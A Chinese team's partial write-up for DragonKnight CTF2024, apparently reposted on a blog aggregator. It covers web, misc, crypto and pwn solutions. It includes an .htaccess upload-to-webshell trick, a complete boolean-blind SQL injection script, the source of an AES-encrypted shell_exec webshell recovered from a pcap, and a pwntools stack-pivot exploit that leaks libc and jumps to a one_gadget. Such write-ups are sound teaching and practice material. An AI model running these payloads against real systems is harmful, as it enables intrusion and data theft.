DragonKnight CTF2024部分wp

news2024/11/17 2:31:03

DragonKnight CTF2024部分wp

最终成果

在这里插入图片描述

又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题

这里是我们队的wp

web

web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),

ezsgin

dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);
    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }
    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button οnclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>
<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>

这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会

那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传

发现没有对文件后缀名限制,但是上传php后apache不解析肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1可以,后面也提示了要修改文件解析引擎

在这里插入图片描述

上传后,蚁剑连接值钱传的webshell,查看flag即可

在这里插入图片描述

ezlogin

一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典

{'username':'abc','token','32位长串','is_admin',0}

于是把is_admin改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了

其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的账户试试,

在这里插入图片描述

当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie

卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户

写脚本就完事了,脚本小子火速出击

import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'Cache-Control': 'max-age=0',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://challenge.qsnctf.com:31208',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://challenge.qsnctf.com:31208/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):
    return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):
    hex_bytes = bytes.fromhex(target)
    ascii_str = hex_bytes.decode('ascii')
    base64_bytes = base64.b64decode(ascii_str)
    return base64_bytes.decode()

def get_hex_from_dict(dic):
    return get_base64_str(dic).encode('ascii').hex()

def fuzz():
    blacklist=[]
    with open('sql.txt','r') as file:
        for line in file:
            session=requests.session()
            Token['username']=line.strip()
            Token['token']=hashlib.md5(line.strip().encode()).hexdigest()
            res1=session.post(url=register_url,data=data,headers=headers,)
            TOKEN=get_hex_from_dict(Token)
            cookies={'TOKEN':TOKEN}
            res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)
            if 'Hacker' in res2.text:
                print(f'{line.strip()} is baned')
                blacklist.append(line.strip())
            time.sleep(1)
        print(blacklist)
        
        

def condition(username):
        Token['username']=username
        Token['token']=hashlib.md5(username.encode()).hexdigest()
        TOKEN=get_hex_from_dict(Token)
        cookies={'TOKEN':TOKEN}
        res2=session.get(url=home_url,headers=headers,cookies=cookies)           
        if 'Hacker' in res2.text:
                    print(f'{username} is not!')
                    return False
        if 'admin' in res2.text:
            return True
        return False
def get_tbs_name():
    """tbs_name=['user','secret']"""
    tb_num=2
    tbnames_list=[]
    # for i in range(50):
    #     username="admin'"
    #     username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')
    #     Token['username']=username
    #     Token['token']=hashlib.md5(username.encode()).hexdigest()
    #     TOKEN=get_hex_from_dict(Token)
    #     cookies={'TOKEN':TOKEN}
    #     res2=session.get(url=home_url,headers=headers,cookies=cookies)
    #     if 'Hacker' in res2.text:
    #                 print(f'{username} is not!')
    #     if 'admin' in res2.text:
    #         tb_num=i
    #         break
    print(f'表数为{tb_num}')
    for i in range(tb_num):
        name=''
        name_length=0
        for j in range(30):
            username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')
            if condition(username):
                name_length=j
                print(f'长度为{j}')
                break
        for j in range(1,name_length+1):
            for k in range(33,127):
                username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')
                if condition(username):
                    name+=chr(k)
                    print(name)
                    break
        tbnames_list.append(name)
       
def get_columns_name():
    tbs_name=['user','secret'] 
    secrets_columns=[] #flag, sseeccrreett
    nums=2 #2
    #直接找secret的字段数
    # for i in range(30):
    #     username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')
    #     if condition(username):
    #                 nums=i
    #                 print(nums)
    #                 break
    for i in range(nums):
        name_length=0
        name=''
        for j in range(30):
            username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')
            if condition(username):
                    name_length=j
                    print(f'长度为{name_length}')
                    break
        for j in range(1,name_length+1):
            for k in range(33,127):
                username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')
                if condition(username):
                    name+=chr(k)
                    print(name)
                    break
        secrets_columns.append(name)
        
def get_info():
    #看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个
    column='sseeccrreett'
    table='secret'
    nums=1 #1
    for i in range(30):
        username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')
        if condition(username):
                   nums=i
                   print(nums)
                   break
    for i in range(nums):
        name_length=0
        for j in range(75):
            username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')
            if condition(username):
                   name_length=j
                   print(name_length)
                   break
    flag=''
    for i in range(1,41):
        for k in range(33,127):
            username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')
            if condition(username):
                   flag+=chr(k)
                   print(flag)
                   break

get_info()

结果

在这里插入图片描述

misc

misc做的还行,雷姆那个脑洞题和队友研究了好久

签到

扫码就行

神秘文字

拿下来就有一个txt和一个压缩包,txt里有

𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``

这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题

(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)

去掉最外面的那个东西,浏览器运行上面这个

在这里插入图片描述

八进制解码一下,就是压缩包密码,压缩包解压一下就是flag

Steal_data

其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了

拿到流量包,首先分析http,因为我只会看http(哭了)

在这里插入图片描述

关键词shell.phpcmd,这不就是webshell,追踪一下,就能看到webshell的源码

<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];

if ($choice == 'show_source'){
    show_source(__FILE__);
} else {
    echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;

可以执行命令,c2hlbGxfZXhlYw==就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行

然后最后一个命令的结果解密出来就是

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
         (97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
         (119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
         (115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
         (30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
         (71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
         (75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
         (9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
         (88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
         (59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
         (101 ,82) ,(0 ,82) ,(82 ,125)
         ]

然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
         (97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
         (119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
         (115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
         (30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
         (71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
         (75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
         (9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
         (88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
         (59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
         (101 ,82) ,(0 ,82) ,(82 ,125)
         ]

# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:
    flag+=chr(p)
print(flag)

func_pixels

本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了

题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛

果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素

在这里插入图片描述

题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入

但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)

然后打印了一下这些不和谐点的rgb值

在这里插入图片描述

如图,发现了很多重复值,其中紫色123是{,125是},所以一定是起点和终点,然后就去三个部分中没有重复的数据即可

一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了

from PIL import Image
from collections import Counter

# 打开图像文件
image_path = "1.png"  # 请替换为你的图像文件路径
image = Image.open(image_path)

# 获取图像的宽度和高度
width, height = image.size

r, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))

flag = []
for x in range(0,2):
    r, g, b = image.getpixel((x, x*x))
    try:
        print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))
        flag.append(r)
        flag.append(g)
        flag.append(b)
    except:
        continue

flag = []
for x in range(10):
    r, g, b = image.getpixel((x, x))
    flag.append(r)
    r, g, b = image.getpixel((x, x*x))
    flag.append(g)
    r, g, b = image.getpixel((x, x*x*x))
    flag.append(b)

flags = ""
for num in flag:
    if num >= 32 and num <= 126:
        print("ASCII character for {} is {}".format(num, chr(num)))
        flags += chr(num)
    else:
        print("Hexadecimal value for {} is {}".format(num, hex(num)))
        
print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}

雷姆确实很可爱

crypto


密码学签到LCG

第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S n + 1 ≡ a S n + b   ( m o d   m ) S n + 2 ≡ a 2 S n + a b + b   ( m o d   m ) 令  T n + 1 = a 2 T n + a b + b ( m o d   m ) T n = ( T n + 1 − a b − b ) ∗ ( a 2 ) − 1 ( m o d   m ) S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m) Sn+1aSn+b (mod m)Sn+2a2Sn+ab+b (mod m) Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1abb)(a2)1(mod m)

解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可

from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_mod

outputs = [
    5944442525761903973219225838876172353829065175803203250803344015146870499,
    141002272698398325287408425994092371191022957387708398440724215884974524650,
    42216026849704835847606250691811468183437263898865832489347515649912153042,
    67696624031762373831757634064133996220332196053248058707361437259689848885,
    19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return modulus

def crack_unknown_multiplier(states, m):
    multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % m
    return multiplier

def degenerate(nextSeed, a, b, m):
    seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % m
    return seed

# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951

X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440

# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410

generated = X0
for _ in range(2**16):
    generated = degenerate(generated, a, b, m)
    if b"flag" in long_to_bytes(generated):
        print("Seed:", generated)
        print("Flag:", long_to_bytes(generated))

'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''

MatrixRSA

矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem 这篇论文
g = ∏ k = 0 s − 1 ( p s − p k ) ⋅ ∏ k = 0 s − 1 ( q s − q k ) g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k) g=k=0s1(pspk)k=0s1(qsqk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密

from Crypto.Util.number import *

e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略

n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)

M = matrix(Zmod(n), C)
m = M ^ d

flag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))

print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'

pwn

stack

很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。

直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518

不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)

exp:

from pwn import *

# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)

context.terminal = 'kitty'

elf = ELF('./pwn')
libc = elf.libc

io.recv()

bss = 0x404040 + 0x100

payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)

libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04

payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 

io.send(payload)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1698691.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能为犯罪地下世界带来了巨大的生产力提升

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

使用docker完整搭建前后端分离项目

1、docker的优势&#xff0c;为啥用docker 2、docker的核心概念 镜像【Image】- 只读模板 容器【Container】- 运行镜像的一个外壳&#xff0c;相当于一个独立的虚拟机 仓库【repository】- 镜像的管理工具&#xff0c;可公开&#xff0c;可私有&#xff1b;类似git仓库 3、c…

考研数学|线代跟谁好,李永乐,汤家凤还是张宇?

如果线代基础不好&#xff0c;那建议开刚开始的时候听汤家凤老师的线代课程 汤家凤教授的线性代数课程常被忽视&#xff0c;多数人倾向于去听李永乐。然而&#xff0c;在我考研的过程中&#xff0c;我曾尝试听李永乐教老师的课&#xff0c;可能是由于我自身基础薄弱&#xff0…

基于Vue的前端自定义询问弹框与输入弹框组件的设计与实践

基于Vue的前端自定义询问弹框与输入弹框组件的设计与实践 摘要 随着技术的不断进步&#xff0c;前端开发面临越来越多的挑战&#xff0c;其中之一就是如何有效管理复杂的业务逻辑和用户体验。传统的整块应用开发方式在面对频繁的功能变更和用户体验优化时&#xff0c;往往显得…

各大模型厂商API使用:百度、阿里、豆包、kimi、deepseek

百度ERNIE(支持requests接口) ERNIE Speed、ERNIE Lite免费 免费测试下来模型ernie_speed输出吞吐量计算20-30来个,“{length/cost} tokens/s” 输出总长度/耗时 https://qianfan.cloud.baidu.com/ 文档: https://cloud.baidu.com/doc/WENXINWORKSHOP/s/dltgsna1o a…

数据结构——链式二叉树知识点以及链式二叉树数据操作函数详解!!

引言&#xff1a;该博客将会详细的讲解二叉树的三种遍历方法&#xff1a;前序、中序、后序&#xff0c;也同时会讲到关于二叉树的数据操作函数。值得一提的是&#xff0c;这些函数几乎都是建立在一个函数思想——递归之上的。这次的代码其实写起来十分简单&#xff0c;用不了几…

【C++】二分查找:在排序数组中查找元素的第一个和最后一个位置

1.题目 难点&#xff1a;要求时间复杂度度为O(logn)。 2.算法思路 需要找到左边界和右边界就可以解决问题。 题目中的数组具有“二段性”&#xff0c;所以可以通过二分查找的思想进行解题。 代码&#xff1a; class Solution { public:vector<int> searchRange(vect…

【传知代码】无监督动画中关节动画的运动表示-论文复现

文章目录 概述动画技术的演进原理介绍核心逻辑环境配置/部署方式小结 本文涉及的源码可从无监督动画中关节动画的运动表示该文章下方附件获取 概述 该文探讨了动画在教育和娱乐中的作用&#xff0c;以及通过数据驱动方法简化动画制作的尝试。近期研究通过无监督运动转移减少对…

【数据结构与算法 经典例题】判断链表是否带环

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录

数据结构和算法|排序算法系列(三)|插入排序(三路排序函数std::sort)

首先需要你对排序算法的评价维度和一个理想排序算法应该是什么样的有一个基本的认知&#xff1a; 《Hello算法之排序算法》 主要内容来自&#xff1a;Hello算法11.4 插入排序 插入排序的整个过程与手动整理一副牌非常相似。 我们在未排序区间选择一个基准元素&#xff0c;将…

社交媒体数据恢复:聊天宝

请注意&#xff0c;本教程仅针对聊天宝应用程序&#xff0c;而非其他聊天软件。以下是详细的步骤&#xff1a; 首先&#xff0c;请确保您已经登录了聊天宝应用程序。如果您尚未登录&#xff0c;请使用您的账号登录。 在聊天宝主界面&#xff0c;找到您希望恢复聊天记录的对话框…

深度学习复盘与小实现

文章目录 一、查漏补缺复盘1、python中zip()用法2、Tensor和tensor的区别3、计算图中的迭代取数4、nn.Modlue及nn.Linear 源码理解5、知识杂项思考列表6、KL散度初步理解 二、处理多维特征的输入1、逻辑回归模型流程2、Mini-Batch (N samples) 三、加载数据集1、Python 魔法方法…

YOLOv8_pose预测流程-原理解析[关键点检测理论篇]

YOLOv8_seg的网络结构图在博客YOLOv8网络结构介绍_CSDN博客已经更新了,由网络结构图可以看到相对于目标检测网络,实例分割网络只是在Head层不相同,如下图所示,在每个特征层中增加了KeyPoint分支(浅绿色),通过两个卷积组和一个Conv卷积得到得到通道数为51的特征图,51表示…

